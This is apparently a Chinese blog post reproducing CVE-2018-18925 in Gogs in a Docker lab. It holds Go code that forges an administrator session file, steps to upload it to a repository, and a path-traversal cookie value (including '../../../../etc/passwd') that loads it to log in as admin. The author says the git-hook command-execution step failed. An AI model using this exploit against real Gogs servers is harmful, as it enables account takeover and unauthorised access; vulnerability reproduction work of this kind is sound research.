CVE-2018-18925

/ 0评 / 0

Gogs 任意用户登录漏洞

前置

docker启动镜像

数据库类型选择 SQLite3

搭建完后 docker-compose restart 重新启动镜像清除session内存

复现

执行session代码

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "sockls"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("test.png", data, 0755)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

本地上传到服务器操作(以windows为例)

进入到文件夹下
git init 初始化
git add .   添加所有文件
git commit -m "first commit"  提交文件并备注
git remote add origin url.git  s设置上传地址
git push -u origin master  推送本地文件到服务器

将执行文件上传至gogs库

抓包修改 i_like_gogit  为  ../../../../etc/passwd 发现 500 报错

修改为任意不存在文件 成功访问到上级目录

这说明如果我们能加载管理员的session,就可以登录管理员的账号

从前端中找到这个仓库的ID

整理一下目前思路

1、生成伪造的管理员session信息
2、通过向仓库中上传文件的方式将伪造的session文件上传至服务端
3、找到文件目录,通过cookie中的i_like_gogits字段指定该文件
4、成功伪造管理员登陆!

通过 git hook 完成命令执行

(感觉总是哪里不对,最后一步就是无法执行出来,算是没有成功复现,但简单思路还是如上)

链接

https://github.com/gogs/gogs/issues/5469

https://www.anquanke.com/post/id/163575#h2-0

https://xz.aliyun.com/t/3168

发表评论

邮箱地址不会被公开。